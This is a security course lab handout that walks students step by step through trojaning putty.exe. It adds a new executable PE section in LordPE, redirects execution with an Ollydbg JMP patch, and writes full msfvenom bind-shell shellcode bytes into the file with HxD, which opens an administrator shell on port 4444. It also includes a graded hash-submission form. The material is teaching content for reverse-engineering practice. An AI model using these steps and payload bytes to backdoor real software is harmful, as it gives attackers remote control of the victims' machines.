Proj 10: Adding Trojan Code with LordPE and Ollydbg (20 pts)

What You Need


To modify a Windows EXE file and save an altered version containing Trojan code in a new PE section. This gives you practice with very simple features of the Ollydbg debugger and LordPE.

Verifying the SHA256 Hash

Use the same putty.exe file you used previously. Confirm that its SHA256 value matches the value shown below.

Task 1: Add a Section with LordPE

Copying putty.exe

Copy putty.exe to a new file named puttybad.exe

Getting LordPE

If you are using the VM from your instructor, LordPE is already installed. If not, get it here:

Launch LordPE.

LordPE opens, as shown below. In this view, it shows currently running processes.

Adding a New Section to the PE Header

In the LordPE window, on the right side, click the "PE Editor" button.

In the Open box, navigate to puttybad.exe and double-click it.

A "PE Editor" box opens, showing general information about putty, as shown below.

In the "PE Editor" box, on the right, click the Sections button.

A "Section Table" box opens, showing the four sections in the putty executable.

Right-click one of the sections and click "add section header", as shown below.

A new section named "NewSec" appears. Currently, this section has "VSize" and "RSize" values of 0, as shown below.

In the "Section Table" box, right-click NewSec and click "edit section header".

In the "[Edit SectionHeader]" window, change the VirtualSize and RawSize to 00001000 as shown below.

In the "[Edit SectionHeader]" window, at the bottom, in the "Flags" row, click the square button labelled ....

Note the top three check boxes here: this segment is Executable, Readable, and Writeable. That's good; we can place any type of code we want to here, even self-modifying code.

Click OK.
Click OK.
Close the "Section Table" box.
In the "PE Editor" box, click the Save button.

In the "PE Editor" box, click the OK button.

Close the LordPE window.

Verifying the Hash Value

The hash value of your file should match the image below.

Task 2: Redirecting Code Execution with Ollydbg

Using Ollydbg to Examine the NewSec Section

Launch Ollydbg.

In Ollydbg, from the menu bar, click File, Open. Navigate to puttybad.exe and open it.

From the Ollydbg menu bar, click View, Memory.

Ollydbg shows the memory layout of putty. As highlighted in the image below, the "NewSec" section begins at address 484000.

In the "Memory map" window, double-click NewSec.

A "Dump" window opens, showing the data stored in NewSec, as shown below.

Notice that it is not zeroes, but contains data, beginning with the bytes

A8 1B 00 00

This is a digital signature, added to recent downloads of Putty. Notice the readable text in the lower portion of this window, on the right side, saying "AddTrust External CA Root".

The digital signature is a good way to verify file integrity, but it's not essential for file execution, so we can overwrite it.

Close the Dump window. Close the "Memory map" window.

Using Ollydbg to Redirect Code Execution

In Ollydbg, maximize the CPU window.

In the top left pane of the CPU window, right-click, and click "Go to", Expression.

In the "Enter expression to follow" box, enter 41CB6E

Click OK.

Ollydbg moves to show the PUSH instruction that loads the "login as: " string, as shown below.

Right-click the PUSH instruction and click Assemble, as shown below.

In the "Assemble" box, enter this command, as shown below:

JMP 484000

Click the Assemble button.

Click the Cancel button.

The MOV instruction has been replaced by this instruction, as shown below:

JMP puttybad.00484000

Adding Trojan Code

Now we can add extra commands to Putty in ".NewSec". First we'll just put an INT3 there, so we can verify that the redirection works. When the processor executes the INT3 command, the program will stop and show a message in Ollydbg.

In the JMP instruction, right-click 00484000. and click Follow.

Ollydbg moves to address 00484000.

Right-click 00484000 and click Assemble. Enter this command, as shown below.


Click Assemble. Click Cancel.

Address 484000 now contains an INT3 instruction, which is CD 03 in hexadecimal, As shown below.

Running the Modified App in Ollydbg

In Ollydbg, click Debug, Run.

Putty opens. In the "Host Name (or IP address)" box, type
At the bottom, click the Open button.

The program stops, and the status bar in the lower left corner of the Ollydbg window says "INT3 command at puttybad.00484000", as outlined in green in the image below.

This shows that the code redirection worked, and executed the first instruction in the .NewSec section!

Saving the Modified EXE

To save the change we made to the assembly code, we must return to the .text section.

In Ollydbg, in the top left pane of the CPU window, right-click, and click "Go to", Expression.

In the "Enter expression to follow" box, verify that 41CB6E is entered. Click OK.

In Ollydbg, in the top left pane of the CPU windows, right-click, point to "Copy to Executable", and click "All modifications", as shown below.

A "Copy selection to executable file" box pops up. Click the "Copy all" button.

A new window pops up, with a title ending in "puttybad.exe".

Right-click in the new window and click "Save file".

Save the file as "puttybad2.exe".

Close Ollydbg.

Verifying the Hash

The hash of the new file should match the image below.

Task 3: Inserting Real Shellcode

Getting Simple Shellcode

Usually it's best to generate custom shellcode for each attack, and use a reverse shell that calls your Command-and-Control server. But for this project, we'll use a simpler attack, that merely opens a listening port on port 4444. This is a weak attack that can be stopped by any firewall, but it's good enough to practice the exploitation techniques,

You can generate shellcode with msfvenom, on Kali. Here's what I got when I did it:

root@kali:~/Cminer# msfvenom -p windows/shell_bind_tcp -f c
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 328 bytes
unsigned char buf[] = 
Here's the shellcode, reformatted and broken into two sections.
 fc e8 82 00 00 00 60 89 e5 31 c0 64 8b 50 30
 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff
 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 52
 57 8b 52 10 8b 4a 3c 8b 4c 11 78 e3 48 01 d1
 51 8b 59 20 01 d3 8b 49 18 e3 3a 49 8b 34 8b
 01 d6 31 ff ac c1 cf 0d 01 c7 38 e0 75 f6 03
 7d f8 3b 7d 24 75 e4 58 8b 58 24 01 d3 66 8b
 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24
 24 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 eb
 8d 5d 68 33 32 00 00 68 77 73 32 5f 54 68 4c
 77 26 07 ff d5 b8 90 01 00 00 29 c4 54 50 68
 29 80 6b 00 ff d5 6a 08 59 50 e2 fd 40 50 40
 50 68 ea 0f df e0 ff d5 97 68 02 00 11 5c 89
 e6 6a 10 56 57 68 c2 db 37 67 ff d5 57 68 b7
 e9 38 ff ff d5 57 68 74 ec 3b e1 ff d5 57 97
 68 75 6e 4d 61 ff d5 68 63 6d 64 00 89 e3 57
 57 57 31 f6 6a 12 59 56 e2 fd 66 c7 44 24 3c
 01 01 8d 44 24 10 c6 00 44 54 50 56 56 56 46
 56 4e 56 56 53 56 68 79 cc 3f 86 ff d5 89 e0
 4e 56 46 ff 30 68 08 87 1d 60 ff d5 bb f0 b5
 a2 56 68 a6 95 bd 9d ff d5 3c 06 7c 0a 80 fb
 e0 75 05 bb 47 13 72 6f 6a 00 53 ff d5

Inserting Shellcode with HxD

Open HxD. Click File, Open. Open puttybad2.exe.

Scroll to the end of the file. Then scroll up to address 00080000, very near the end of the file. After a region filled with zeroes, it starts with these bytes: "A8 1B 00", as shown below.

Above, on this Web page, highlight and copy the first set of shellcode bytes, from "fc" through "68".

In HxD, right-click the byte at address 00080000 and click "Paste write", as shown below.

The first portion of the shellcode appears in red text, as shown below.

Above, on this Web page, highlight and copy the first set of shellcode bytes, from "29" through "d5".

In HxD, right-click the byte at address 000800A5 and click "Paste write". Your screen should look like the image below.

In HxD, click File, Save. Close HxD.

Running the Trojaned Putty

Double-click puttybad2.exe.

Putty opens. In the "Host Name (or IP address)" box, type
At the bottom, click the Open button.

A black Putty window opens, but remains blank, as shown below.

This is because we were sloppy when inserting shellcode, and broke the normal operation of Putty.

Open a Command Prompt and execute this command:

netstat -ban | more
You should see puttybad.exe LISTENING on port 4444, as shown below.

Connecting to the Target

Open another Command Prompt window. Execute this command:
telnet 4444
A Command Prompt opens, allowing you to execute commands on the server, as shown below.

Execute this command:

You are the local administrator, as shown below, and so is anyone else who connects to this machine on port 4444.

Calculating the Hash (20 pts)

Calculate the CRC32 hash of puttybad2.exe. The SHA256 hash should match the image below.

Find the CRC32 hash, which is covered in a green rectangle in the image below, and enter it in the form below.

10.1: Recording Your Success (20 pts)

Use the form below to record your score in Canvas.

Name or Email:
CRC32 hash like this: 07b01710


Backdooring PE Files - Part 1

Art of Anti Detection 2 – PE Backdoor Manufacturing

The Beginners Guide to Codecaves

Reversing with Ollydbg debugger

Modified 7-11-17 3:24 pm
Integrated with Canvas 9-11-18
INT 3 bytes and a typo fixed 10-23-18